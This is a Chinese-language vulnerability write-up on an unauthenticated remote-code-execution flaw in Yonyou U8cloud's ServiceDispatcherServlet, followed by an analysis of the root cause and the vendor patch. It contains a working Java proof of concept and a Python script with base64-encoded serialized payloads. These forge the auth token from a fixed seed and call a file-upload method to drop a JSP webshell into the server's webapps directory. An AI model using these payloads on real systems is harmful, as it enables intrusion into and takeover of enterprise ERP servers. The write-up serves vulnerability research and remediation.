用友U8cloud-ServiceDispacherServlet反序列化
影响版本
2.0 2.1 2.3 2.5 2.6 2.7 2.65 3.0 3.1 3.2 3.5 3.6 3.6sp 5.0 5.0sp 5.1 5.1sp
poc
需要提前把库添加到idea,不然会找不到nc相关类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| import nc.bs.framework.common.InvocationInfo; import nc.bs.framework.comn.NetObjectOutputStream; import nc.bs.framework.exception.FrameworkRuntimeException; import nc.bs.framework.server.token.MD5Util;
import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; import java.security.MessageDigest; import java.util.Base64; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream;
public class ServiceDispatcherServlet { public static void main(String[] args) throws Exception { byte[] data = createData("./1.jsp");
String userCode = "1"; String service = "nc.itf.hr.tools.IFileTrans"; String method = "uploadFile"; Class[] classes = {byte[].class, String.class}; Object[] params = {data, "D:/1.jspp"}; InvocationInfo invocationInfo = new InvocationInfo(service, method, classes, params); invocationInfo.setUserCode(userCode); invocationInfo.setToken(genToken(userCode)); FileOutputStream fos = new FileOutputStream("./ser1.bin"); NetObjectOutputStream.writeObject(fos, invocationInfo); post();
}
public static byte[] createData(String filePath) throws IOException { File file = new File(filePath); byte[] fileBytes = new byte[(int) file.length()]; FileInputStream fis = new FileInputStream(file); fis.read(fileBytes); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ZipOutputStream zos = new ZipOutputStream(baos); ZipEntry entry = new ZipEntry("compressed"); zos.putNextEntry(entry); zos.write(fileBytes); zos.closeEntry(); zos.close(); return baos.toByteArray(); }
private static byte[] md5(byte[] key, byte[] tokens) { MessageDigest md = null;
try { md = MessageDigest.getInstance("SHA-1"); md.update(tokens); md.update(key); return md.digest(); } catch (Exception var5) { Exception e = var5; throw new FrameworkRuntimeException("md5 error", e); } }
public static String genToken(String userCode) { byte[] md5 = md5("ab7d823e-03ef-39c1-9947-060a0a08b931".getBytes(), userCode.getBytes()); return MD5Util.byteToHexString(md5); }
public static void post() throws Exception { URL url = new URL("http://127.0.0.1:8051/ServiceDispatcherServlet"); HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/octet-stream");
File file = new File("./ser1.bin"); byte[] data = new byte[(int) file.length()]; FileInputStream fis = new FileInputStream(file); fis.read(data);
try (OutputStream os = conn.getOutputStream()) { os.write(data); os.flush(); }
try (InputStream is = conn.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(is))) { String line; while ((line = br.readLine()) != null) { System.out.println(line); } }
conn.disconnect(); } }
|
没有环境的话,就用这个python的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import base64
import requests
if __name__ == "__main__": touch = "AAACDHJxiQF7uQPbFPuWMWS63hJKY0Wrr6QW0Rp3mKSWQODMh32wwokYgFxrSBJebabPcsPNLdxM0ggqZIJL/BR02TCwGFNuhaf7kixQNGfbpGTZePjlZ2+dptAdZnQPVlY9T8SoekSLXJf9eaEyU2vGDbD5KjXKh7coPKCKCfWKc30Kq9UVWyKc3e7xUXypmRj+uQI4Nr4rH44HG+CubNiqmEv0Vt4zvEoDGOfcmY1+qx8DBTmzUAONkQEN9HuZ7BL3x2eAR3K0y2Tl47IluOgj5Oo8ormLsPPcSHPa9a7kh/hVe4Dv2cpOKWdt+eltcxs+fZqWuxlRzFm4DET8b/pLKY/jvSVTbyYT4qEnH8XggqXp4wD88i6GJ83m9U3hp3WmSQDFm0y3TYs1VrcDoGsWImZOMJXyUu1NmlfZ7STBdr7AoTNGO9GLkSY9i/x4eNAzaSH9jq8HIdzA1PfeDsGLdQy7DquK0V9qO/8q7+35AtbE6uLL7/dbRKDWw2EPig4s7e4p3s+XxWgjv+Palcv7tTm8lo9AAThuVGvYZXKwccpm721hSEjsfsaEiqMgcfgQYdCvgtmueSEkWlZACvkC1sTq4svv+QLWxOriy+9ubVc8v+j+6yurlS6SjLoFy2WseGEpNut1F4D9ZvPMsvIBVP3XH7ey+M0H6WtY5pRHApZtejNldPRUQJbHkuLQ" shell = "AAADpHJxiQF7uQPbFPuWMWS63hJKY0Wrr6QW0Rp3mKSWQODMh32wwokYgFxrSBJebabPcsPNLdxM0ggqZIJL/BR02TCwGFNuhaf7kixQNGfbpGTZePjlZ2+dptAdZnQPVlY9T8SoekSLXJf9eaEyU2vGDbD5KjXKh7coPKCKCfWKc30Kq9UVWyKc3e7xUXypmRj+uQI4Nr4rH44HG+CubNiqmEv0Vt4zvEoDGOfcmY1+qx8DBTmzUAONkQEN9HuZF8gOZXBV42naCRCtoBMMZegj5Oo8ormLsPPcSHPa9a7kh/hVe4Dv2cpOKWdt+eltcxs+fZqWuxlRzFm4DET8b/pLKY/jvSVTbyYT4qEnH8XggqXp4wD88i6GJ83m9U3hp3WmSQDFm0y3TYs1VrcDoGsWImZOMJXyUu1NmlfZ7STBdr7AoTNGO9GLkSY9i/x4eNAzaSH9jq/9RuGwMKypDcGLdQy7DquKPEP8EXryeIT5AtbE6uLL7/dbRKDWw2EPig4s7e4p3s/23GiyUof4BwNejVIJiEfvfsGlfQ5wuDcoqF//OWcXePrJ6eJwMvIc9F619/+pu5ZT8P7uF/GIXtOxYN6fZH/qauVX12sOZvEJ+2imWsQR0QPVbUYD6CpnNFZzNNeqnbiz1gF5dl+NYYXfPFf1gRH0iaZO3F09ADqB8VP6Ejf0lTMSWQYbs/2Uoo9b2TkrEMx+GAqu5qW0E39MTadUNctN3M4LHNeD0WSIHwnd8dyQ0rVPBOdfVlY/0b9/9vfdvyahASonlXPk9j6PdykcudJ6Q2ZsV1hqcYuVw7/EkaOqseFSuR305uHIBPXUloD9UiLwO7vfRAZgCgD5MNcA5qjqQXHd5JSZSpRyIUo/+ebGBuFcqsO8O0TQiXvcnO3E2cSFlCja0yOUJ2126pCoxWg1uOGpNeqO7wZoWrEt8rdZnTx4WKR7es8y+pT5W1UrTy+rkI3C/RtPf+OLUuMkzwLvUUncAG7u+GLCHQFAiWBXc/51GCGbCTJjxgeGSaymmFWwUfnvasm6FFmMB/QIjfj/7kqGBlxlHKLzrSfOQWlkEw57KcLCk5+GGZ80mzJrxNArh2ZZd1d9j7QqzXntpyy+mpr7CHObop1QFcPbjYeuaPkC1sTq4svvpuJ4zlLP63c9dKA9wUDzHcrCqzVqVg+jHYrOoDMIMFWvbZegtMZtGbuYixqbK8LM6sWM+wj7CCrkqzmHKXShintmHtB8TuGt" ser = base64.b64decode(touch) url = "http://127.0.0.1:8051/ServiceDispatcherServlet" h = { "token": "4a68a59011d7341f5635100286d91965" } resp = requests.post(url=url, data=ser, headers=h) print(resp.text)
|
漏洞原理
token鉴权可绕过;nc.bs.framework.comn.serv.ServiceDispatcher#invokeBeanMethod可调用能lookup到的类中的任意方法;nc.impl.hr.tools.trans.FileTransImpl#uploadFile写shell到webapps
漏洞分析
token伪造
全局搜索,找到路由:

访问/ServiceDispatcherServlet后,后进入nc.bs.framework.comn.serv.CommonServletDispatcher#doGet,doGet最终会调用execCall:

跟进,在execCall中,会对我们的请求体进行反序列化,不过指定了类型,只能反序列化为InvocationInfo,不过这里要记住,InvocationInfo中的所有字段都是我们可控的:

之后在160行打断点,即token鉴权处:

跟进去看一下鉴权:
白名单校验过不了,会进入到nc.bs.framework.server.token.TokenUtil#vertifyTokenIllegal:

根据反序列化得到的userCode来genToken,然后和我们请求头中的token进行比较。
看一下genToken的逻辑:

显然是可以伪造的。
方法调用
lookup到类后,反射取出方法,注意用的是getMethod,所以只能取出public方法,然后再invoke,用到的全部参数都是我们在序列化时自行写入的:

文件写入
这里用的是nc.impl.hr.tools.trans.FileTransImpl#uploadFile,esnserver接口漏洞的同一个类。因为如果对n8c不熟悉的话,找一个能用的类还是有难度的。所以,不妨去以前的老漏洞中拿一个用,这也是漏洞复现的意义。

漏洞修复
首先是tokenseed的文件改了:

但是这个文件默认是不存在的,所以seed还是固定。
二是增加了trustServiceList.conf,这个不知道有啥用:

三是修改了nc.impl.hr.tools.trans.FileTransImpl#uploadFile,这是最关键的,不允许写入webapps了:

参考
用友U8Cloud最新前台RCE漏洞挖掘过程分享